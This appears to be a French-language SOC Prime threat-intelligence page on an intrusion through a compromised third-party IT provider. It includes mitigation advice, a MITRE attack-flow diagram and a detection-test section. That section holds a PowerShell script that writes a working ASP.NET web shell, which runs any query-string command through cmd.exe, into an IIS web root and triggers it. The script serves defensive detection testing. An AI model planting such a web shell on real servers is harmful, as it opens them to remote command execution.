SOC Prime Bias: Critique

18 May 2026 18:27 UTC

Enquête sur une intrusion furtive par compromission tierce

Author Photo
SOC Prime Team linkedin icon Suivre
Enquête sur une intrusion furtive par compromission tierce
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport examine une intrusion furtive où des acteurs de menace ont compromis un fournisseur de services informatiques tiers, puis abusé de l’Agent d’Opérations HPE légitime pour déployer des web shells, des DLLs voleurs de mots de passe et des utilitaires de tunneling. En s’appuyant sur un logiciel de gestion de confiance au lieu d’une exploitation bruyante, les attaquants ont pu maintenir un accès à long terme tout en minimisant les signes évidents de compromission.

Enquête

La réponse aux incidents de Microsoft a retracé l’activité depuis le déploiement initial du web shell sur les serveurs exposés à Internet jusqu’à l’exécution de VBScript via l’Agent d’Opérations HPE. L’enquête a ensuite révélé l’enregistrement de fournisseurs de réseau et de DLLs de filtre de mots de passe malveillants sur les contrôleurs de domaine, suivi de la réutilisation des identifiants récoltés et de l’utilisation des tunnels ngrok pour faciliter le mouvement latéral à travers l’environnement.

Atténuation

Les défenses recommandées incluent la réduction et le contrôle strict de l’accès des tiers de confiance, la surveillance des enregistrements non autorisés de DLL dans les paquets de notification LSA, la détection des changements suspects de web shell, l’imposition d’un filtrage d’égress strict et l’assurance d’une couverture EDR sur tous les points finaux.

Réponse

Si cette activité est détectée, isolez les systèmes compromis, retirez les DLLs et web shells malveillants, révoquez les identifiants volés, désactivez les fournisseurs de réseau non autorisés, et chassez le mouvement latéral en utilisant les artefacts collectés.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#e6e6e6 classDef malware fill:#ff9999 %% Nodes u2013 Initial Access action_initial_trusted["<b>Action</b> – <b>T1199 Relation de Confiance</b><br/>Compromettre un fournisseur de services informatiques tiers et utiliser l’Agent d’Opérations HPE de confiance pour exécuter du code malveillant."] class action_initial_trusted action tool_hpe_oa["<b>Outil</b> – <b>Nom</b>: Agent d’Opérations HPE (OA)<br/><b>But</b>: Agent légitime utilisé pour exécuter des scripts sur les serveurs cibles."] class tool_hpe_oa tool %% Nodes u2013 Execution action_execution_vbscript["<b>Action</b> – Exécution de VBScripts (T1059.005)<br/>Exécuter <i>abc003.vbs</i> pour la découverte du système, du réseau et AD."] class action_execution_vbscript action file_abc003["<b>Fichier</b> – <b>Nom</b>: abc003.vbs<br/><b>Type</b>: Script Visual Basic"] class file_abc003 file %% Nodes u2013 Persistence (Web Shell) action_persistence_webshell["<b>Action</b> – <b>T1505.003 Composant de Logiciel Serveur: Web Shell</b><br/>Déployer <i>Errors.aspx</i> et <i>Signoff.aspx</i> web shells sur des serveurs exposés à Internet."] class action_persistence_webshell action file_errors["<b>Fichier</b> – <b>Nom</b>: Errors.aspx<br/><b>Fonction</b>: Web shell d’exécution de commande à distance."] class file_errors file file_signoff["<b>Fichier</b> – <b>Nom</b>: Signoff.aspx<br/><b>Fonction</b>: Web shell d’exécution de commande à distance."] class file_signoff file %% Nodes u2013 Persistence (Network Provider DLL) action_persistence_np_dll["<b>Action</b> – <b>T1556.008 DLL de Fournisseur de Réseau</b><br/>Enregistrer le malveillant <i>mslogon.dll</i> sur les contrôleurs de domaine pour capturer les identifiants en texte clair."] class action_persistence_np_dll action file_mslogon["<b>Fichier</b> – <b>Nom</b>: mslogon.dll<br/><b>Emplacement</b>: C:UsersPublicMusicabc123c.d"] class file_mslogon file %% Nodes u2013 Persistence (Password Filter DLL) action_persistence_passdll["<b>Action</b> – <b>T1556.002 DLL de Filtrage de Mots de Passe</b><br/>Ajouter <i>passms.dll</i> en tant que paquet de notification LSA sur DC01/DC02 pour intercepter les changements de mot de passe."] class action_persistence_passdll action file_passms["<b>Fichier</b> – <b>Nom</b>: passms.dll<br/><b>Emplacement</b>: C:ProgramDataWindowsUpdateServiceUpdateDirIpd"] class file_passms file %% Nodes u2013 Credential Access (Files) action_cred_in_files["<b>Action</b> – <b>T1552.001 Identifiants dans les Fichiers</b><br/>Stocker les identifiants récoltés dans des fichiers en texte clair ou encodés sur le disque."] class action_cred_in_files action %% Nodes u2013 Credential Access (OS Dumping) action_os_credential_dump["<b>Action</b> – <b>T1003 Vidage d’Identifiants du Système d’Exploitation</b><br/>Interception basée sur DLL offre un vidage d’identifiants sans outils externes."] class action_os_credential_dump action %% Nodes u2013 Lateral Movement (Valid Accounts) action_lateral_local["<b>Action</b> – <b>T1078.003 Comptes Valides : Comptes Locaux</b><br/>Réutiliser les identifiants récoltés pour s’authentifier via RDP et SMB."] class action_lateral_local action %% Nodes u2013 Lateral Movement (Remote Services) action_lateral_remote["<b>Action</b> – <b>T1021 Services à Distance</b><br/>Établir des sessions RDP sur des tunnels ngrok cryptés pour se déplacer latéralement."] class action_lateral_remote action %% Nodes u2013 Command & Control (Proxy) action_c2_proxy["<b>Action</b> – <b>T1090 Proxy</b><br/>Déployer ngrok comme proxy multi-u2011saut pour créer des canaux de C2 discrètes."] class action_c2_proxy action tool_ngrok["<b>Outil</b> – <b>Nom</b>: ngrok<br/><b>But</b>: Créer des tunnels TCP/HTTPS pour le tunneling de trafic."] class tool_ngrok tool %% Nodes u2013 Command & Control (Protocol Tunneling) action_c2_tunnel["<b>Action</b> – <b>T1572 Tunneling de Protocole</b><br/>Encapsuler le trafic C2 dans les tunnels ngrok pour éviter la détection."] class action_c2_tunnel action %% Nodes u2013 Collection (Network Shared Drive) action_collection_share["<b>Action</b> – <b>T1039 Données provenant du Lecteur Réseau Partagé</b><br/>Préparer des fichiers d’identifiants encodés sur des partages SMB distants avant exfiltration."] class action_collection_share action %% Nodes u2013 Defense Evasion (DLL Hijack) action_defense_dll["<b>Action</b> – <b>T1574.001 Détournement de Flux d’Exécution : DLL</b><br/><i>msupdate.dll</i> exfiltre des données via SMTP et SMB, déguisé en fichiers image."] class action_defense_dll action file_msupdate["<b>Fichier</b> – <b>Nom</b>: msupdate.dll<br/><b>Payload</b>: Données encodées envoyées comme icon02.jpeg."] class file_msupdate file %% Nodes u2013 Persistence (Winlogon Helper DLL) action_persistence_winlogon["<b>Action</b> – <b>T1547.004 DLL d’Aide à Winlogon</b><br/>Enregistrer <i>mslogon.dll</i> en tant qu’aide à Winlogon pour garantir l’exécution à la connexion."] class action_persistence_winlogon action %% Connections u2013 Attack Flow action_initial_trusted –>|utilise| tool_hpe_oa tool_hpe_oa –>|exécute| action_execution_vbscript action_execution_vbscript –>|exécute| file_abc003 action_execution_vbscript –>|mène à| action_persistence_webshell action_persistence_webshell –>|crée| file_errors action_persistence_webshell –>|crée| file_signoff action_persistence_webshell –>|permet| action_persistence_np_dll action_persistence_np_dll –>|installe| file_mslogon action_persistence_np_dll –>|permet| action_persistence_passdll action_persistence_passdll –>|installe| file_passms action_persistence_passdll –>|stocke| action_cred_in_files action_cred_in_files –>|fournit des données pour| action_os_credential_dump action_os_credential_dump –>|permet| action_lateral_local action_lateral_local –>|utilise| action_lateral_remote action_lateral_remote –>|utilise| tool_ngrok tool_ngrok –>|facilite| action_c2_proxy action_c2_proxy –>|permet| action_c2_tunnel action_c2_tunnel –>|soutient| action_collection_share action_collection_share –>|fournit des fichiers pour| action_defense_dll action_defense_dll –>|utilise| file_msupdate action_defense_dll –>|soutient| action_persistence_winlogon action_persistence_winlogon –>|se repose sur| file_mslogon %% Styling class action_initial_trusted,action_execution_vbscript,action_persistence_webshell,action_persistence_np_dll,action_persistence_passdll,action_cred_in_files,action_os_credential_dump,action_lateral_local,action_lateral_remote,action_c2_proxy,action_c2_tunnel,action_collection_share,action_defense_dll,action_persistence_winlogon action class tool_hpe_oa,tool_ngrok tool class file_abc003,file_errors,file_signoff,file_mslogon,file_passms,file_msupdate file "

Flux d’attaque

Exécution de simulation

Prérequis : La vérification pré-vol du télémétrie & base de référence doit avoir réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique adversaire (T1199) conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTPs identifiées et viser à générer exactement la télémétrie attendue par la logique de détection.

  • Narratif et Commandes de l’Attaque :

    1. Compromission Initiale : L’attaquant obtient un accès en écriture au web root (par exemple, via un identifiant volé ou une faille de téléversement vulnérable).
    2. Déploiement de Shell Web : Ils téléversent un ASP.NET web-shell malveillant nommé Errors.aspx (ou modifient un Signoff.aspxexistant) qui exécute des commandes PowerShell arbitraires fournies via la chaîne de requête.
    3. Déclenchement du Shell : L’attaquant envoie une requête HTTP GET au shell avec une charge utile PowerShell dans le cmd paramètre, par exemple, https://corp.example.com/Errors.aspx?cmd=whoami. Cette requête est enregistrée par IIS, produisant une cs-uri-stem valeur de /Errors.aspx – exactement ce que la règle Sigma correspond.
  • Script de Test de Régression : Le script reproduit les étapes 2‑3 (le téléversement est simulé en copiant un fichier pré-créé dans le web root ; le déclenchement est effectué via Invoke-WebRequest).

    # -------------------------------------------------
    # Script de Simulation de Shell Web – Windows Server/IIS
    # -------------------------------------------------
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx",
        [string]$Payload = "whoami"
    )
    
    # 1. Déployer un simple web-shell ASP.NET (minimal pour tester)
    $shellContent = @"
    <%@ Page Language="C#" %>
    <% 
    string cmd = Request.QueryString["cmd"];
    if (!String.IsNullOrEmpty(cmd)) {
        System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
    }
    %>
    "@
    
    $shellPath = Join-Path $WebRoot $ShellName
    Set-Content -Path $shellPath -Value $shellContent -Encoding UTF8 -Force
    
    Write-Host "[+] Déployé shell web à $shellPath"
    
    # 2. Donner au serveur web un moment pour enregistrer le nouveau fichier
    Start-Sleep -Seconds 2
    
    # 3. Appeler le web-shell pour générer l'entrée de journal de détection
    $uri = "http://localhost/$ShellName?cmd=$Payload"
    Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null
    
    Write-Host "[+] Déclenché shell web via $uri"
    # -------------------------------------------------
  • Commandes de Nettoyage : Retirer le shell web de test et tous les fichiers résiduels.

    # Script de nettoyage – retirer le web-shell simulé
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx"
    )
    $shellPath = Join-Path $WebRoot $ShellName
    if (Test-Path $shellPath) {
        Remove-Item -Path $shellPath -Force
        Write-Host "[+] Retiré $shellPath"
    } else {
        Write-Host "[-] Fichier shell non trouvé; rien à nettoyer."
    }